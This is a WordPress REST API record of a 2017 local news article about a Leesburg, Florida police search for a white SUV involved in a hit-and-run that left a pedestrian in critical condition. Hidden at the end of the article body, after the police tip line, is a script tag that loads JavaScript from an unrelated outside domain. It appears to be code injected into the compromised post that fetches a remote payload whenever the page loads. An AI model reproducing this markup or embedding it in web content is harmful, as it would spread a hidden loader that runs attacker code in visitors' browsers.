{"id":212106,"date":"2017-05-11T14:26:44","date_gmt":"2017-05-11T18:26:44","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=212106"},"modified":"2017-11-04T14:55:40","modified_gmt":"2017-11-04T18:55:40","slug":"leesburg-police-search-suv-involved-hit-run","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/leesburg-police-search-suv-involved-hit-run\/","title":{"rendered":"Leesburg Police Search for SUV Involved in Hit-and-Run"},"content":{"rendered":"<p><strong>LEESBURG, Fla. &#8211;\u00a0<\/strong>Leesburg Police officers are searching for an SUV believed to have been involved in a hit-and-run accident that left one man in critical condition Wednesday night.<\/p>\n<p>Officers responded to the intersection of U.S. Highway 441 and Mills Street in Leesburg shortly after 8:30 p.m. after receiving a call about a hit-and-run.<\/p>\n<p>According to Lt. Joe Iozzi, the victim who was identified as 19-year-old Nidgel Fernandez-Medina was struck by a vehicle as he walked along the road.<\/p>\n<p>The vehicle was described by witnesses as a large white S.U.V. possibly a General Motors model similar to a Tahoe or Suburban.<\/p>\n<p>After striking Fernandez-Medina, the vehicle fled the area.<\/p>\n<p>Fernandez-Medina was first transported to Leesburg Regional Medical Center but was later airlifted to Orlando Regional Medical Center where he was listed in critical condition.<\/p>\n<p>According to Iozzi, the S.U.V. may have damage to the front end and may be missing a headlight.<\/p>\n<p>Anyone with information on the identity or whereabouts of the vehicle is asked to contact the Leesburg Police Department Traffic Unit at (352)787-2121.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG, Fla. &#8211;\u00a0Leesburg Police officers are searching for an SUV believed to have been involved in a hit-and-run accident that left one man in critical&#8230;<\/p>\n","protected":false},"author":1,"featured_media":212107,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[17,2244,1147,82,2051,394,1976,1910,428,1073],"class_list":["post-212106","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-accident","tag-critical","tag-hit-and-run","tag-leesburg","tag-leesburg-police","tag-lpd","tag-lrmc","tag-ormc","tag-pedestrian","tag-suv","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/05\/hit_and_run.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=212106"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212106\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/212107"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=212106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=212106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=212106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}